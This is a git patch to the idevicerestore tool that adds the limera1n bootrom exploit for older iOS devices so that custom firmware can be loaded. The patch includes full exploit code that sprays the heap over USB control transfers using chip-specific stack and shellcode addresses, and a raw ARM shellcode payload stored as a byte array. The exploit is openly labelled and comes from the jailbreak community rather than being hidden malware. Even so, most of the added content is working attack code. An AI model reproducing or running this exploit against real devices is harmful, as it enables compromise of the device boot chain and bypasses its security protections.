From 1fc7fe84bdd7e4daf35ed19e5f7171c48c2d6751 Mon Sep 17 00:00:00 2001
From: Nikias Bassen
Date: Thu, 2 Feb 2012 23:09:47 +0100
Subject: add limera1n exploit and use pwned dfu mode for custom firmwares
---
src/Makefile.am | 2 +-
src/idevicerestore.c | 17 ++++++++
src/limera1n.c | 107 +++++++++++++++++++++++++++++++++++++++++++++++++
src/limera1n.h | 7 ++++
src/limera1n_payload.h | 73 +++++++++++++++++++++++++++++++++
5 files changed, 205 insertions(+), 1 deletion(-)
create mode 100644 src/limera1n.c
create mode 100644 src/limera1n.h
create mode 100644 src/limera1n_payload.h
diff --git a/src/Makefile.am b/src/Makefile.am
index 831a222..5fbcdef 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -18,6 +18,6 @@ AM_LDFLAGS =\
bin_PROGRAMS = idevicerestore
-idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c
+idevicerestore_SOURCES = idevicerestore.c common.c tss.c img3.c ipsw.c normal.c dfu.c recovery.c restore.c asr.c libirecovery.c limera1n.c
idevicerestore_CFLAGS = $(AM_CFLAGS)
idevicerestore_LDFLAGS = $(AM_LDFLAGS) -lusb-1.0
diff --git a/src/idevicerestore.c b/src/idevicerestore.c
index 6733a59..bfe19c7 100644
--- a/src/idevicerestore.c
+++ b/src/idevicerestore.c
@@ -36,6 +36,8 @@
#include "recovery.h"
#include "idevicerestore.h"
+#include "limera1n.h"
+
int use_apple_server;
static struct option longopts[] = {
@@ -406,6 +408,21 @@ int main(int argc, char* argv[]) {
// if the device is in DFU mode, place device into recovery mode
if (client->mode->index == MODE_DFU) {
recovery_client_free(client);
+ if (client->flags & FLAG_CUSTOM) {
+ info("connecting to DFU\n");
+ if (dfu_client_new(client) < 0) {
+ return -1;
+ }
+ info("exploiting with limera1n\n");
+ // TODO: check for non-limera1n device and fail
+ if (limera1n_exploit(client->device, client->dfu->client) != 0) {
+ error("ERROR: limera1n exploit failed\n");
+ dfu_client_free(client);
+ return -1;
+ }
+ dfu_client_free(client);
+ info("exploited\n");
+ }
if (dfu_enter_recovery(client, build_identity) < 0) {
error("ERROR: Unable to place device into recovery mode\n");
plist_free(buildmanifest);
diff --git a/src/limera1n.c b/src/limera1n.c
new file mode 100644
index 0000000..309b361
--- /dev/null
+++ b/src/limera1n.c
@@ -0,0 +1,107 @@
+/**
+ * GreenPois0n Syringe - exploits/limera1n/limera1n.c
+ * Copyright (C) 2010 Chronic-Dev Team
+ * Copyright (C) 2010 Joshua Hill
+ *
+ * Based on exploit discovered by geohot
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see .
+ **/
+
+#include
+#include
+#include
+
+#include "common.h"
+#include "limera1n.h"
+#include "limera1n_payload.h"
+#include "libirecovery.h"
+
+int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client)
+{
+ irecv_error_t error = IRECV_E_SUCCESS;
+ unsigned int i = 0;
+ unsigned char buf[0x800];
+ unsigned char shellcode[0x800];
+ unsigned int max_size = 0x24000;
+ //unsigned int load_address = 0x84000000;
+ unsigned int stack_address = 0x84033F98;
+ unsigned int shellcode_address = 0x84023001;
+ unsigned int shellcode_length = 0;
+
+
+ if (device->chip_id == 8930) {
+ max_size = 0x2C000;
+ stack_address = 0x8403BF9C;
+ shellcode_address = 0x8402B001;
+ }
+ if (device->chip_id == 8920) {
+ max_size = 0x24000;
+ stack_address = 0x84033FA4;
+ shellcode_address = 0x84023001;
+ }
+
+ memset(shellcode, 0x0, 0x800);
+ shellcode_length = sizeof(limera1n_payload);
+ memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload));
+
+ debug("Resetting device counters\n");
+ error = irecv_reset_counters(client);
+ if (error != IRECV_E_SUCCESS) {
+ error("%s\n", irecv_strerror(error));
+ return -1;
+ }
+
+ memset(buf, 0xCC, 0x800);
+ for(i = 0; i < 0x800; i += 0x40) {
+ unsigned int* heap = (unsigned int*)(buf+i);
+ heap[0] = 0x405;
+ heap[1] = 0x101;
+ heap[2] = shellcode_address;
+ heap[3] = stack_address;
+ }
+
+ debug("Sending chunk headers\n");
+ irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+
+ memset(buf, 0xCC, 0x800);
+ for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) {
+ irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000);
+ }
+
+ debug("Sending exploit payload\n");
+ irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000);
+
+ debug("Sending fake data\n");
+ memset(buf, 0xBB, 0x800);
+ irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000);
+ irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10);
+
+ //debug("Executing exploit\n");
+ irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000);
+
+ irecv_reset(client);
+ irecv_finish_transfer(client);
+ debug("Exploit sent\n");
+
+ debug("Reconnecting to device\n");
+ client = irecv_reconnect(client, 7);
+ if (client == NULL) {
+ debug("%s\n", irecv_strerror(error));
+ error("Unable to reconnect\n");
+ return -1;
+ }
+
+ return 0;
+}
diff --git a/src/limera1n.h b/src/limera1n.h
new file mode 100644
index 0000000..ed2339a
--- /dev/null
+++ b/src/limera1n.h
@@ -0,0 +1,7 @@
+#ifndef __LIMERA1N_H
+#define __LIMERA1N_H
+#include "libirecovery.h"
+
+int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client);
+
+#endif /* __LIMERA1N_H */
diff --git a/src/limera1n_payload.h b/src/limera1n_payload.h
new file mode 100644
index 0000000..6a5627e
--- /dev/null
+++ b/src/limera1n_payload.h
@@ -0,0 +1,73 @@
+unsigned char limera1n_payload[] = {
+ 0x7f, 0x46, 0x07, 0xe0, 0xc0, 0x46, 0xc0, 0x46,
+ 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46, 0xc0, 0x46,
+ 0xc0, 0x46, 0xc0, 0x46, 0x61, 0x48, 0x02, 0x68,
+ 0x61, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x61, 0x49,
+ 0x39, 0x60, 0x61, 0x49, 0x79, 0x60, 0x61, 0x49,
+ 0xb9, 0x60, 0x1c, 0xe0, 0x60, 0x48, 0x90, 0x42,
+ 0x06, 0xd1, 0x60, 0x49, 0x39, 0x60, 0x60, 0x49,
+ 0x79, 0x60, 0x60, 0x49, 0xb9, 0x60, 0x12, 0xe0,
+ 0x5f, 0x48, 0x90, 0x42, 0x06, 0xd1, 0x5f, 0x49,
+ 0x39, 0x60, 0x5f, 0x49, 0x79, 0x60, 0x5f, 0x49,
+ 0xb9, 0x60, 0x08, 0xe0, 0x5e, 0x48, 0x90, 0x42,
+ 0x05, 0xd1, 0x5e, 0x49, 0x39, 0x60, 0x5a, 0x49,
+ 0x79, 0x60, 0x5d, 0x49, 0xb9, 0x60, 0x5d, 0x48,
+ 0x5d, 0x49, 0x3b, 0x68, 0x98, 0x47, 0x5d, 0x48,
+ 0x5a, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x80, 0xf8,
+ 0x00, 0x28, 0xcb, 0xd0, 0x06, 0x1c, 0x5a, 0x48,
+ 0x56, 0x49, 0x4a, 0x68, 0x00, 0xf0, 0x78, 0xf8,
+ 0x00, 0x28, 0xc3, 0xd0, 0x05, 0x1c, 0x11, 0x20,
+ 0x14, 0x24, 0x29, 0x19, 0x2a, 0x19, 0x30, 0x23,
+ 0x54, 0x4c, 0x00, 0x94, 0x00, 0x24, 0x01, 0x94,
+ 0x00, 0x24, 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47,
+ 0x11, 0x20, 0x0c, 0x24, 0x31, 0x19, 0x32, 0x19,
+ 0xb3, 0x68, 0x4f, 0x4c, 0x00, 0x94, 0x24, 0x24,
+ 0x64, 0x19, 0x01, 0x94, 0x14, 0x24, 0x64, 0x19,
+ 0x02, 0x94, 0x7c, 0x68, 0xa0, 0x47, 0x45, 0x48,
+ 0x0c, 0x21, 0x89, 0x19, 0xb2, 0x68, 0x15, 0x1c,
+ 0x00, 0xf0, 0x4a, 0xf8, 0x47, 0x48, 0x41, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x4d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x44, 0x48, 0x45, 0x4a,
+ 0x00, 0xf0, 0x46, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x43, 0x49, 0x01, 0x60, 0x43, 0x48, 0x39, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x3d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x40, 0x48, 0x3d, 0x4a,
+ 0x00, 0xf0, 0x36, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x3e, 0x49, 0x01, 0x60, 0x3e, 0x48, 0x31, 0x49,
+ 0x2a, 0x1c, 0x00, 0xf0, 0x2d, 0xf8, 0x00, 0x28,
+ 0x08, 0xd0, 0x01, 0x1c, 0x3b, 0x48, 0x35, 0x4a,
+ 0x00, 0xf0, 0x26, 0xf8, 0x00, 0x28, 0x01, 0xd0,
+ 0x33, 0x49, 0x01, 0x60, 0x38, 0x48, 0x29, 0x49,
+ 0x2a, 0x1c, 0x38, 0x4b, 0x00, 0xf0, 0x1e, 0xf8,
+ 0x00, 0x28, 0x07, 0xd1, 0x36, 0x48, 0x25, 0x49,
+ 0x2a, 0x1c, 0x36, 0x4b, 0x00, 0xf0, 0x16, 0xf8,
+ 0x00, 0x28, 0x03, 0xd0, 0x34, 0x49, 0x01, 0x60,
+ 0x34, 0x49, 0x41, 0x60, 0x00, 0x20, 0x1f, 0x49,
+ 0x00, 0x22, 0xbb, 0x68, 0x98, 0x47, 0x55, 0xe7,
+ 0x0b, 0x68, 0x03, 0x60, 0x01, 0x30, 0x01, 0x31,
+ 0x01, 0x3a, 0x00, 0x2a, 0xf8, 0xd1, 0x70, 0x47,
+ 0x00, 0x23, 0xff, 0xe7, 0x10, 0xb5, 0x0c, 0x68,
+ 0x84, 0x42, 0x04, 0xd1, 0x00, 0x2b, 0x07, 0xd0,
+ 0x4c, 0x68, 0x9c, 0x42, 0x04, 0xd0, 0x02, 0x31,
+ 0x02, 0x3a, 0x00, 0x2a, 0xf3, 0xd1, 0x00, 0x21,
+ 0x08, 0x1c, 0x10, 0xbd, 0x88, 0x02, 0x00, 0x00,
+ 0x39, 0x2e, 0x35, 0x00, 0xe5, 0x36, 0x00, 0x00,
+ 0x19, 0x09, 0x00, 0x00, 0xdd, 0x39, 0x00, 0x00,
+ 0x34, 0x2e, 0x34, 0x00, 0x85, 0x4c, 0x00, 0x00,
+ 0x6d, 0x68, 0x00, 0x00, 0x5d, 0x5a, 0x00, 0x00,
+ 0x39, 0x2e, 0x33, 0x00, 0x9d, 0x34, 0x00, 0x00,
+ 0x25, 0x09, 0x00, 0x00, 0x69, 0x39, 0x00, 0x00,
+ 0x39, 0x2e, 0x33, 0x2e, 0xa5, 0x34, 0x00, 0x00,
+ 0x71, 0x39, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84,
+ 0x00, 0xc0, 0x02, 0x00, 0x41, 0x54, 0x41, 0x44,
+ 0x47, 0x41, 0x42, 0x4b, 0x00, 0x02, 0x00, 0x20,
+ 0x00, 0x00, 0x00, 0x20, 0x1a, 0x78, 0xff, 0x2a,
+ 0x4f, 0xf0, 0xff, 0x30, 0x00, 0x02, 0x00, 0x00,
+ 0x00, 0x20, 0x00, 0x20, 0xf3, 0xdf, 0x90, 0xb5,
+ 0x07, 0x4b, 0x1b, 0x68, 0x4f, 0xf0, 0xff, 0x33,
+ 0x11, 0x9a, 0xd3, 0xf1, 0x18, 0xbf, 0x01, 0x20,
+ 0x80, 0xb5, 0x00, 0xaf, 0x82, 0xb0, 0x4f, 0xf0,
+ 0xb0, 0xb5, 0x02, 0xaf, 0x82, 0xb0, 0x01, 0x28,
+ 0x00, 0x4b, 0x18, 0x47, 0x00, 0x00, 0x00, 0x41
+};
+unsigned int limera1n_payload_len = 560;
--
cgit v1.1-32-gdbae